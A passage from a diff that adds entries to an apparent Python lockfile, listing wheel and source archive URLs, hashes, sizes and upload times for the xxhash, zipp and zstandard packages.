+    { url = "https://files.pythonhosted.org/packages/b8/0b/b14510b38ba91caf43006209db846a696ceea6a847a0c9ba0a5b1adc53d6/xxhash-3.6.0-pp311-pypy311_pp73-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:5dc1e14d14fa0f5789ec29a7062004b5933964bb9b02aae6622b8f530dc40296", size = 41056, upload-time = "2025-10-02T14:37:02.879Z" },
+    { url = "https://files.pythonhosted.org/packages/50/55/15a7b8a56590e66ccd374bbfa3f9ffc45b810886c8c3b614e3f90bd2367c/xxhash-3.6.0-pp311-pypy311_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:881b47fc47e051b37d94d13e7455131054b56749b91b508b0907eb07900d1c13", size = 36251, upload-time = "2025-10-02T14:37:04.44Z" },
+    { url = "https://files.pythonhosted.org/packages/62/b2/5ac99a041a29e58e95f907876b04f7067a0242cb85b5f39e726153981503/xxhash-3.6.0-pp311-pypy311_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c6dc31591899f5e5666f04cc2e529e69b4072827085c1ef15294d91a004bc1bd", size = 32481, upload-time = "2025-10-02T14:37:05.869Z" },
+    { url = "https://files.pythonhosted.org/packages/7b/d9/8d95e906764a386a3d3b596f3c68bb63687dfca806373509f51ce8eea81f/xxhash-3.6.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:15e0dac10eb9309508bfc41f7f9deaa7755c69e35af835db9cb10751adebc35d", size = 31565, upload-time = "2025-10-02T14:37:06.966Z" },
+]
+
+[[package]]
+name = "zipp"
+version = "3.23.1"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/30/21/093488dfc7cc8964ded15ab726fad40f25fd3d788fd741cc1c5a17d78ee8/zipp-3.23.1.tar.gz", hash = "sha256:32120e378d32cd9714ad503c1d024619063ec28aad2248dc6672ad13edfa5110", size = 25965, upload-time = "2026-04-13T23:21:46.6Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/08/8a/0861bec20485572fbddf3dfba2910e38fe249796cb73ecdeb74e07eeb8d3/zipp-3.23.1-py3-none-any.whl", hash = "sha256:0b3596c50a5c700c9cb40ba8d86d9f2cc4807e9bedb06bcdf7fac85633e444dc", size = 10378, upload-time = "2026-04-13T23:21:45.386Z" },
+]
+
+[[package]]
+name = "zstandard"
+version = "0.25.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/fd/aa/3e0508d5a5dd96529cdc5a97011299056e14c6505b678fd58938792794b1/zstandard-0.25.0.tar.gz", hash = "sha256:7713e1179d162cf5c7906da876ec2ccb9c3a9dcbdffef0cc7f70c3667a205f0b", size = 711513, upload-time = "2025-09-14T22:15:54.002Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/56/7a/28efd1d371f1acd037ac64ed1c5e2b41514a6cc937dd6ab6a13ab9f0702f/zstandard-0.25.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:e59fdc271772f6686e01e1b3b74537259800f57e24280be3f29c8a0deb1904dd", size = 795256, upload-time = "2025-09-14T22:15:56.415Z" },
+    { url = "https://files.pythonhosted.org/packages/96/34/ef34ef77f1ee38fc8e4f9775217a613b452916e633c4f1d98f31db52c4a5/zstandard-0.25.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:4d441506e9b372386a5271c64125f72d5df6d2a8e8a2a45a0ae09b03cb781ef7", size = 640565, upload-time = "2025-09-14T22:15:58.177Z" },
+    { url = "https://files.pythonhosted.org/packages/9d/1b/4fdb2c12eb58f31f28c4d28e8dc36611dd7205df8452e63f52fb6261d13e/zstandard-0.25.0-cp310-cp310-manylinux2010_i686.manylinux2014_i686.manylinux_2_12_i686.manylinux_2_17_i686.whl", hash = "sha256:ab85470ab54c2cb96e176f40342d9ed41e58ca5733be6a893b730e7af9c40550", size = 5345306, upload-time = "2025-09-14T22:16:00.165Z" },
+    { url = "https://files.pythonhosted.org/packages/73/28/a44bdece01bca027b079f0e00be3b6bd89a4df180071da59a3dd7381665b/zstandard-0.25.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:e05ab82ea7753354bb054b92e2f288afb750e6b439ff6ca78af52939ebbc476d", size = 5055561, upload-time = "2025-09-14T22:16:02.22Z" },
+    { url = "https://files.pythonhosted.org/packages/e9/74/68341185a4f32b274e0fc3410d5ad0750497e1acc20bd0f5b5f64ce17785/zstandard-0.25.0-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:78228d8a6a1c177a96b94f7e2e8d012c55f9c760761980da16ae7546a15a8e9b", size = 5402214, upload-time = "2025-09-14T22:16:04.109Z" },
+    { url = "https://files.pythonhosted.org/packages/8b/67/f92e64e748fd6aaffe01e2b75a083c0c4fd27abe1c8747fee4555fcee7dd/zstandard-0.25.0-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:2b6bd67528ee8b5c5f10255735abc21aa106931f0dbaf297c7be0c886353c3d0", size = 5449703, upload-time = "2025-09-14T22:16:06.312Z" },
+    { url = "https://files.pythonhosted.org/packages/fd/e5/6d36f92a197c3c17729a2125e29c169f460538a7d939a27eaaa6dcfcba8e/zstandard-0.25.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:4b6d83057e713ff235a12e73916b6d356e3084fd3d14ced499d84240f3eecee0", size = 5556583, upload-time = "2025-09-14T22:16:08.457Z" },
+    { url = "https://files.pythonhosted.org/packages/d7/83/41939e60d8d7ebfe2b747be022d0806953799140a702b90ffe214d557638/zstandard-0.25.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:9174f4ed06f790a6869b41cba05b43eeb9a35f8993c4422ab853b705e8112bbd", size = 5045332, upload-time = "2025-09-14T22:16:10.444Z" },
+    { url = "https://files.pythonhosted.org/packages/b3/87/d3ee185e3d1aa0133399893697ae91f221fda79deb61adbe998a7235c43f/zstandard-0.25.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:25f8f3cd45087d089aef5ba3848cd9efe3ad41163d3400862fb42f81a3a46701", size = 5572283, upload-time = "2025-09-14T22:16:12.128Z" },
+    { url = "https://files.pythonhosted.org/packages/0a/1d/58635ae6104df96671076ac7d4ae7816838ce7debd94aecf83e30b7121b0/zstandard-0.25.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:3756b3e9da9b83da1796f8809dd57cb024f838b9eeafde28f3cb472012797ac1", size = 4959754, upload-time = "2025-09-14T22:16:14.225Z" },
+    { url = "https://files.pythonhosted.org/packages/75/d6/57e9cb0a9983e9a229dd8fd2e6e96593ef2aa82a3907188436f22b111ccd/zstandard-0.25.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:81dad8d145d8fd981b2962b686b2241d3a1ea07733e76a2f15435dfb7fb60150", size = 5266477, upload-time = "2025-09-14T22:16:16.343Z" },
+    { url = "https://files.pythonhosted.org/packages/d1/a9/ee891e5edf33a6ebce0a028726f0bbd8567effe20fe3d5808c42323e8542/zstandard-0.25.0-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:a5a419712cf88862a45a23def0ae063686db3d324cec7edbe40509d1a79a0aab", size = 5440914, upload-time = "2025-09-14T22:16:18.453Z" },
+    { url = "https://files.pythonhosted.org/packages/58/08/a8522c28c08031a9521f27abc6f78dbdee7312a7463dd2cfc658b813323b/zstandard-0.25.0-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:e7360eae90809efd19b886e59a09dad07da4ca9ba096752e61a2e03c8aca188e", size = 5819847, upload-time = "2025-09-14T22:16:20.559Z" },
+    { url = "https://files.pythonhosted.org/packages/6f/11/4c91411805c3f7b6f31c60e78ce347ca48f6f16d552fc659af6ec3b73202/zstandard-0.25.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:75ffc32a569fb049499e63ce68c743155477610532da1eb38e7f24bf7cd29e74", size = 5363131, upload-time = "2025-09-14T22:16:22.206Z" },
+    { url = "https://files.pythonhosted.org/packages/ef/d6/8c4bd38a3b24c4c7676a7a3d8de85d6ee7a983602a734b9f9cdefb04a5d6/zstandard-0.25.0-cp310-cp310-win32.whl", hash = "sha256:106281ae350e494f4ac8a80470e66d1fe27e497052c8d9c3b95dc4cf1ade81aa", size = 436469, upload-time = "2025-09-14T22:16:25.002Z" },
+    { url = "https://files.pythonhosted.org/packages/93/90/96d50ad417a8ace5f841b3228e93d1bb13e6ad356737f42e2dde30d8bd68/zstandard-0.25.0-cp310-cp310-win_amd64.whl", hash = "sha256:ea9d54cc3d8064260114a0bbf3479fc4a98b21dffc89b3459edd506b69262f6e", size = 506100, upload-time = "2025-09-14T22:16:23.569Z" },
+    { url = "https://files.pythonhosted.org/packages/2a/83/c3ca27c363d104980f1c9cee1101cc8ba724ac8c28a033ede6aab89585b1/zstandard-0.25.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:933b65d7680ea337180733cf9e87293cc5500cc0eb3fc8769f4d3c88d724ec5c", size = 795254, upload-time = "2025-09-14T22:16:26.137Z" },
+    { url = "https://files.pythonhosted.org/packages/ac/4d/e66465c5411a7cf4866aeadc7d108081d8ceba9bc7abe6b14aa21c671ec3/zstandard-0.25.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:a3f79487c687b1fc69f19e487cd949bf3aae653d181dfb5fde3bf6d18894706f", size = 640559, upload-time = "2025-09-14T22:16:27.973Z" },
+    { url = "https://files.pythonhosted.org/packages/12/56/354fe655905f290d3b147b33fe946b0f27e791e4b50a5f004c802cb3eb7b/zstandard-0.25.0-cp311-cp311-manylinux2010_i686.manylinux2014_i686.manylinux_2_12_i686.manylinux_2_17_i686.whl", hash = "sha256:0bbc9a0c65ce0eea3c34a691e3c4b6889f5f3909ba4822ab385fab9057099431", size = 5348020, upload-time = "2025-09-14T22:16:29.523Z" },
+    { url = "https://files.pythonhosted.org/packages/3b/13/2b7ed68bd85e69a2069bcc72141d378f22cae5a0f3b353a2c8f50ef30c1b/zstandard-0.25.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:01582723b3ccd6939ab7b3a78622c573799d5d8737b534b86d0e06ac18dbde4a", size = 5058126, upload-time = "2025-09-14T22:16:31.811Z" },
+    { url = "https://files.pythonhosted.org/packages/c9/dd/fdaf0674f4b10d92cb120ccff58bbb6626bf8368f00ebfd2a41ba4a0dc99/zstandard-0.25.0-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:5f1ad7bf88535edcf30038f6919abe087f606f62c00a87d7e33e7fc57cb69fcc", size = 5405390, upload-time = "2025-09-14T22:16:33.486Z" },
+    { url = "https://files.pythonhosted.org/packages/0f/67/354d1555575bc2490435f90d67ca4dd65238ff2f119f30f72d5cde09c2ad/zstandard-0.25.0-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:06acb75eebeedb77b69048031282737717a63e71e4ae3f77cc0c3b9508320df6", size = 5452914, upload-time = "2025-09-14T22:16:35.277Z" },
+    { url = "https://files.pythonhosted.org/packages/bb/1f/e9cfd801a3f9190bf3e759c422bbfd2247db9d7f3d54a56ecde70137791a/zstandard-0.25.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:9300d02ea7c6506f00e627e287e0492a5eb0371ec1670ae852fefffa6164b072", size = 5559635, upload-time = "2025-09-14T22:16:37.141Z" },
+    { url = "https://files.pythonhosted.org/packages/21/88/5ba550f797ca953a52d708c8e4f380959e7e3280af029e38fbf47b55916e/zstandard-0.25.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:bfd06b1c5584b657a2892a6014c2f4c20e0db0208c159148fa78c65f7e0b0277", size = 5048277, upload-time = "2025-09-14T22:16:38.807Z" },
+    { url = "https://files.pythonhosted.org/packages/46/c0/ca3e533b4fa03112facbe7fbe7779cb1ebec215688e5df576fe5429172e0/zstandard-0.25.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:f373da2c1757bb7f1acaf09369cdc1d51d84131e50d5fa9863982fd626466313", size = 5574377, upload-time = "2025-09-14T22:16:40.523Z" },
+    { url = "https://files.pythonhosted.org/packages/12/9b/3fb626390113f272abd0799fd677ea33d5fc3ec185e62e6be534493c4b60/zstandard-0.25.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:6c0e5a65158a7946e7a7affa6418878ef97ab66636f13353b8502d7ea03c8097", size = 4961493, upload-time = "2025-09-14T22:16:43.3Z" },
+    { url = "https://files.pythonhosted.org/packages/cb/d3/23094a6b6a4b1343b27ae68249daa17ae0651fcfec9ed4de09d14b940285/zstandard-0.25.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:c8e167d5adf59476fa3e37bee730890e389410c354771a62e3c076c86f9f7778", size = 5269018, upload-time = "2025-09-14T22:16:45.292Z" },
+    { url = "https://files.pythonhosted.org/packages/8c/a7/bb5a0c1c0f3f4b5e9d5b55198e39de91e04ba7c205cc46fcb0f95f0383c1/zstandard-0.25.0-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:98750a309eb2f020da61e727de7d7ba3c57c97cf6213f6f6277bb7fb42a8e065", size = 5443672, upload-time = "2025-09-14T22:16:47.076Z" },
+    { url = "https://files.pythonhosted.org/packages/27/22/503347aa08d073993f25109c36c8d9f029c7d5949198050962cb568dfa5e/zstandard-0.25.0-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:22a086cff1b6ceca18a8dd6096ec631e430e93a8e70a9ca5efa7561a00f826fa", size = 5822753, upload-time = "2025-09-14T22:16:49.316Z" },
+    { url = "https://files.pythonhosted.org/packages/e2/be/94267dc6ee64f0f8ba2b2ae7c7a2df934a816baaa7291db9e1aa77394c3c/zstandard-0.25.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:72d35d7aa0bba323965da807a462b0966c91608ef3a48ba761678cb20ce5d8b7", size = 5366047, upload-time = "2025-09-14T22:16:51.328Z" },
+    { url = "https://files.pythonhosted.org/packages/7b/a3/732893eab0a3a7aecff8b99052fecf9f605cf0fb5fb6d0290e36beee47a4/zstandard-0.25.0-cp311-cp311-win32.whl", hash = "sha256:f5aeea11ded7320a84dcdd62a3d95b5186834224a9e55b92ccae35d21a8b63d4", size = 436484, upload-time = "2025-09-14T22:16:55.005Z" },
+    { url = "https://files.pythonhosted.org/packages/43/a3/c6155f5c1cce691cb80dfd38627046e50af3ee9ddc5d0b45b9b063bfb8c9/zstandard-0.25.0-cp311-cp311-win_amd64.whl", hash = "sha256:daab68faadb847063d0c56f361a289c4f268706b598afbf9ad113cbe5c38b6b2", size = 506183, upload-time = "2025-09-14T22:16:52.753Z" },
+    { url = "https://files.pythonhosted.org/packages/8c/3e/8945ab86a0820cc0e0cdbf38086a92868a9172020fdab8a03ac19662b0e5/zstandard-0.25.0-cp311-cp311-win_arm64.whl", hash = "sha256:22a06c5df3751bb7dc67406f5374734ccee8ed37fc5981bf1ad7041831fa1137", size = 462533, upload-time = "2025-09-14T22:16:53.878Z" },
+    { url = "https://files.pythonhosted.org/packages/82/fc/f26eb6ef91ae723a03e16eddb198abcfce2bc5a42e224d44cc8b6765e57e/zstandard-0.25.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:7b3c3a3ab9daa3eed242d6ecceead93aebbb8f5f84318d82cee643e019c4b73b", size = 795738, upload-time = "2025-09-14T22:16:56.237Z" },
+    { url = "https://files.pythonhosted.org/packages/aa/1c/d920d64b22f8dd028a8b90e2d756e431a5d86194caa78e3819c7bf53b4b3/zstandard-0.25.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:913cbd31a400febff93b564a23e17c3ed2d56c064006f54efec210d586171c00", size = 640436, upload-time = "2025-09-14T22:16:57.774Z" },
+    { url = "https://files.pythonhosted.org/packages/53/6c/288c3f0bd9fcfe9ca41e2c2fbfd17b2097f6af57b62a81161941f09afa76/zstandard-0.25.0-cp312-cp312-manylinux2010_i686.manylinux2014_i686.manylinux_2_12_i686.manylinux_2_17_i686.whl", hash = "sha256:011d388c76b11a0c165374ce660ce2c8efa8e5d87f34996aa80f9c0816698b64", size = 5343019, upload-time = "2025-09-14T22:16:59.302Z" },
+    { url = "https://files.pythonhosted.org/packages/1e/15/efef5a2f204a64bdb5571e6161d49f7ef0fffdbca953a615efbec045f60f/zstandard-0.25.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:6dffecc361d079bb48d7caef5d673c88c8988d3d33fb74ab95b7ee6da42652ea", size = 5063012, upload-time = "2025-09-14T22:17:01.156Z" },
+    { url = "https://files.pythonhosted.org/packages/b7/37/a6ce629ffdb43959e92e87ebdaeebb5ac81c944b6a75c9c47e300f85abdf/zstandard-0.25.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:7149623bba7fdf7e7f24312953bcf73cae103db8cae49f8154dd1eadc8a29ecb", size = 5394148, upload-time = "2025-09-14T22:17:03.091Z" },
+    { url = "https://files.pythonhosted.org/packages/e3/79/2bf870b3abeb5c070fe2d670a5a8d1057a8270f125ef7676d29ea900f496/zstandard-0.25.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:6a573a35693e03cf1d67799fd01b50ff578515a8aeadd4595d2a7fa9f3ec002a", size = 5451652, upload-time = "2025-09-14T22:17:04.979Z" },
+    { url = "https://files.pythonhosted.org/packages/53/60/7be26e610767316c028a2cbedb9a3beabdbe33e2182c373f71a1c0b88f36/zstandard-0.25.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:5a56ba0db2d244117ed744dfa8f6f5b366e14148e00de44723413b2f3938a902", size = 5546993, upload-time = "2025-09-14T22:17:06.781Z" },
+    { url = "https://files.pythonhosted.org/packages/85/c7/3483ad9ff0662623f3648479b0380d2de5510abf00990468c286c6b04017/zstandard-0.25.0-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:10ef2a79ab8e2974e2075fb984e5b9806c64134810fac21576f0668e7ea19f8f", size = 5046806, upload-time = "2025-09-14T22:17:08.415Z" },
+    { url = "https://files.pythonhosted.org/packages/08/b3/206883dd25b8d1591a1caa44b54c2aad84badccf2f1de9e2d60a446f9a25/zstandard-0.25.0-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:aaf21ba8fb76d102b696781bddaa0954b782536446083ae3fdaa6f16b25a1c4b", size = 5576659, upload-time = "2025-09-14T22:17:10.164Z" },
+    { url = "https://files.pythonhosted.org/packages/9d/31/76c0779101453e6c117b0ff22565865c54f48f8bd807df2b00c2c404b8e0/zstandard-0.25.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:1869da9571d5e94a85a5e8d57e4e8807b175c9e4a6294e3b66fa4efb074d90f6", size = 4953933, upload-time = "2025-09-14T22:17:11.857Z" },
+    { url = "https://files.pythonhosted.org/packages/18/e1/97680c664a1bf9a247a280a053d98e251424af51f1b196c6d52f117c9720/zstandard-0.25.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:809c5bcb2c67cd0ed81e9229d227d4ca28f82d0f778fc5fea624a9def3963f91", size = 5268008, upload-time = "2025-09-14T22:17:13.627Z" },
+    { url = "https://files.pythonhosted.org/packages/1e/73/316e4010de585ac798e154e88fd81bb16afc5c5cb1a72eeb16dd37e8024a/zstandard-0.25.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:f27662e4f7dbf9f9c12391cb37b4c4c3cb90ffbd3b1fb9284dadbbb8935fa708", size = 5433517, upload-time = "2025-09-14T22:17:16.103Z" },
+    { url = "https://files.pythonhosted.org/packages/5b/60/dd0f8cfa8129c5a0ce3ea6b7f70be5b33d2618013a161e1ff26c2b39787c/zstandard-0.25.0-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:99c0c846e6e61718715a3c9437ccc625de26593fea60189567f0118dc9db7512", size = 5814292, upload-time = "2025-09-14T22:17:17.827Z" },
+    { url = "https://files.pythonhosted.org/packages/fc/5f/75aafd4b9d11b5407b641b8e41a57864097663699f23e9ad4dbb91dc6bfe/zstandard-0.25.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:474d2596a2dbc241a556e965fb76002c1ce655445e4e3bf38e5477d413165ffa", size = 5360237, upload-time = "2025-09-14T22:17:19.954Z" },
+    { url = "https://files.pythonhosted.org/packages/ff/8d/0309daffea4fcac7981021dbf21cdb2e3427a9e76bafbcdbdf5392ff99a4/zstandard-0.25.0-cp312-cp312-win32.whl", hash = "sha256:23ebc8f17a03133b4426bcc04aabd68f8236eb78c3760f12783385171b0fd8bd", size = 436922, upload-time = "2025-09-14T22:17:24.398Z" },
+    { url = "https://files.pythonhosted.org/packages/79/3b/fa54d9015f945330510cb5d0b0501e8253c127cca7ebe8ba46a965df18c5/zstandard-0.25.0-cp312-cp312-win_amd64.whl", hash = "sha256:ffef5a74088f1e09947aecf91011136665152e0b4b359c42be3373897fb39b01", size = 506276, upload-time = "2025-09-14T22:17:21.429Z" },
+    { url = "https://files.pythonhosted.org/packages/ea/6b/8b51697e5319b1f9ac71087b0af9a40d8a6288ff8025c36486e0c12abcc4/zstandard-0.25.0-cp312-cp312-win_arm64.whl", hash = "sha256:181eb40e0b6a29b3cd2849f825e0fa34397f649170673d385f3598ae17cca2e9", size = 462679, upload-time = "2025-09-14T22:17:23.147Z" },
+    { url = "https://files.pythonhosted.org/packages/35/0b/8df9c4ad06af91d39e94fa96cc010a24ac4ef1378d3efab9223cc8593d40/zstandard-0.25.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:ec996f12524f88e151c339688c3897194821d7f03081ab35d31d1e12ec975e94", size = 795735, upload-time = "2025-09-14T22:17:26.042Z" },
+    { url = "https://files.pythonhosted.org/packages/3f/06/9ae96a3e5dcfd119377ba33d4c42a7d89da1efabd5cb3e366b156c45ff4d/zstandard-0.25.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:a1a4ae2dec3993a32247995bdfe367fc3266da832d82f8438c8570f989753de1", size = 640440, upload-time = "2025-09-14T22:17:27.366Z" },
+    { url = "https://files.pythonhosted.org/packages/d9/14/933d27204c2bd404229c69f445862454dcc101cd69ef8c6068f15aaec12c/zstandard-0.25.0-cp313-cp313-manylinux2010_i686.manylinux2014_i686.manylinux_2_12_i686.manylinux_2_17_i686.whl", hash = "sha256:e96594a5537722fdfb79951672a2a63aec5ebfb823e7560586f7484819f2a08f", size = 5343070, upload-time = "2025-09-14T22:17:28.896Z" },
+    { url = "https://files.pythonhosted.org/packages/6d/db/ddb11011826ed7db9d0e485d13df79b58586bfdec56e5c84a928a9a78c1c/zstandard-0.25.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:bfc4e20784722098822e3eee42b8e576b379ed72cca4a7cb856ae733e62192ea", size = 5063001, upload-time = "2025-09-14T22:17:31.044Z" },
+    { url = "https://files.pythonhosted.org/packages/db/00/87466ea3f99599d02a5238498b87bf84a6348290c19571051839ca943777/zstandard-0.25.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:457ed498fc58cdc12fc48f7950e02740d4f7ae9493dd4ab2168a47c93c31298e", size = 5394120, upload-time = "2025-09-14T22:17:32.711Z" },
+    { url = "https://files.pythonhosted.org/packages/2b/95/fc5531d9c618a679a20ff6c29e2b3ef1d1f4ad66c5e161ae6ff847d102a9/zstandard-0.25.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:fd7a5004eb1980d3cefe26b2685bcb0b17989901a70a1040d1ac86f1d898c551", size = 5451230, upload-time = "2025-09-14T22:17:34.41Z" },
+    { url = "https://files.pythonhosted.org/packages/63/4b/e3678b4e776db00f9f7b2fe58e547e8928ef32727d7a1ff01dea010f3f13/zstandard-0.25.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:8e735494da3db08694d26480f1493ad2cf86e99bdd53e8e9771b2752a5c0246a", size = 5547173, upload-time = "2025-09-14T22:17:36.084Z" },
+    { url = "https://files.pythonhosted.org/packages/4e/d5/ba05ed95c6b8ec30bd468dfeab20589f2cf709b5c940483e31d991f2ca58/zstandard-0.25.0-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:3a39c94ad7866160a4a46d772e43311a743c316942037671beb264e395bdd611", size = 5046736, upload-time = "2025-09-14T22:17:37.891Z" },
+    { url = "https://files.pythonhosted.org/packages/50/d5/870aa06b3a76c73eced65c044b92286a3c4e00554005ff51962deef28e28/zstandard-0.25.0-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:172de1f06947577d3a3005416977cce6168f2261284c02080e7ad0185faeced3", size = 5576368, upload-time = "2025-09-14T22:17:40.206Z" },
+    { url = "https://files.pythonhosted.org/packages/5d/35/398dc2ffc89d304d59bc12f0fdd931b4ce455bddf7038a0a67733a25f550/zstandard-0.25.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:3c83b0188c852a47cd13ef3bf9209fb0a77fa5374958b8c53aaa699398c6bd7b", size = 4954022, upload-time = "2025-09-14T22:17:41.879Z" },
+    { url = "https://files.pythonhosted.org/packages/9a/5c/36ba1e5507d56d2213202ec2b05e8541734af5f2ce378c5d1ceaf4d88dc4/zstandard-0.25.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:1673b7199bbe763365b81a4f3252b8e80f44c9e323fc42940dc8843bfeaf9851", size = 5267889, upload-time = "2025-09-14T22:17:43.577Z" },
+    { url = "https://files.pythonhosted.org/packages/70/e8/2ec6b6fb7358b2ec0113ae202647ca7c0e9d15b61c005ae5225ad0995df5/zstandard-0.25.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:0be7622c37c183406f3dbf0cba104118eb16a4ea7359eeb5752f0794882fc250", size = 5433952, upload-time = "2025-09-14T22:17:45.271Z" },
+    { url = "https://files.pythonhosted.org/packages/7b/01/b5f4d4dbc59ef193e870495c6f1275f5b2928e01ff5a81fecb22a06e22fb/zstandard-0.25.0-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:5f5e4c2a23ca271c218ac025bd7d635597048b366d6f31f420aaeb715239fc98", size = 5814054, upload-time = "2025-09-14T22:17:47.08Z" },
+    { url = "https://files.pythonhosted.org/packages/b2/e5/fbd822d5c6f427cf158316d012c5a12f233473c2f9c5fe5ab1ae5d21f3d8/zstandard-0.25.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:4f187a0bb61b35119d1926aee039524d1f93aaf38a9916b8c4b78ac8514a0aaf", size = 5360113, upload-time = "2025-09-14T22:17:48.893Z" },
+    { url = "https://files.pythonhosted.org/packages/8e/e0/69a553d2047f9a2c7347caa225bb3a63b6d7704ad74610cb7823baa08ed7/zstandard-0.25.0-cp313-cp313-win32.whl", hash = "sha256:7030defa83eef3e51ff26f0b7bfb229f0204b66fe18e04359ce3474ac33cbc09", size = 436936, upload-time = "2025-09-14T22:17:52.658Z" },
+    { url = "https://files.pythonhosted.org/packages/d9/82/b9c06c870f3bd8767c201f1edbdf9e8dc34be5b0fbc5682c4f80fe948475/zstandard-0.25.0-cp313-cp313-win_amd64.whl", hash = "sha256:1f830a0dac88719af0ae43b8b2d6aef487d437036468ef3c2ea59c51f9d55fd5", size = 506232, upload-time = "2025-09-14T22:17:50.402Z" },
+    { url = "https://files.pythonhosted.org/packages/d4/57/60c3c01243bb81d381c9916e2a6d9e149ab8627c0c7d7abb2d73384b3c0c/zstandard-0.25.0-cp313-cp313-win_arm64.whl", hash = "sha256:85304a43f4d513f5464ceb938aa02c1e78c2943b29f44a750b48b25ac999a049", size = 462671, upload-time = "2025-09-14T22:17:51.533Z" },
+    { url = "https://files.pythonhosted.org/packages/3d/5c/f8923b595b55fe49e30612987ad8bf053aef555c14f05bb659dd5dbe3e8a/zstandard-0.25.0-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:e29f0cf06974c899b2c188ef7f783607dbef36da4c242eb6c82dcd8b512855e3", size = 795887, upload-time = "2025-09-14T22:17:54.198Z" },
+    { url = "https://files.pythonhosted.org/packages/8d/09/d0a2a14fc3439c5f874042dca72a79c70a532090b7ba0003be73fee37ae2/zstandard-0.25.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:05df5136bc5a011f33cd25bc9f506e7426c0c9b3f9954f056831ce68f3b6689f", size = 640658, upload-time = "2025-09-14T22:17:55.423Z" },
+    { url = "https://files.pythonhosted.org/packages/5d/7c/8b6b71b1ddd517f68ffb55e10834388d4f793c49c6b83effaaa05785b0b4/zstandard-0.25.0-cp314-cp314-manylinux2010_i686.manylinux_2_12_i686.manylinux_2_28_i686.whl", hash = "sha256:f604efd28f239cc21b3adb53eb061e2a205dc164be408e553b41ba2ffe0ca15c", size = 5379849, upload-time = "2025-09-14T22:17:57.372Z" },
+    { url = "https://files.pythonhosted.org/packages/a4/86/a48e56320d0a17189ab7a42645387334fba2200e904ee47fc5a26c1fd8ca/zstandard-0.25.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:223415140608d0f0da010499eaa8ccdb9af210a543fac54bce15babbcfc78439", size = 5058095, upload-time = "2025-09-14T22:17:59.498Z" },
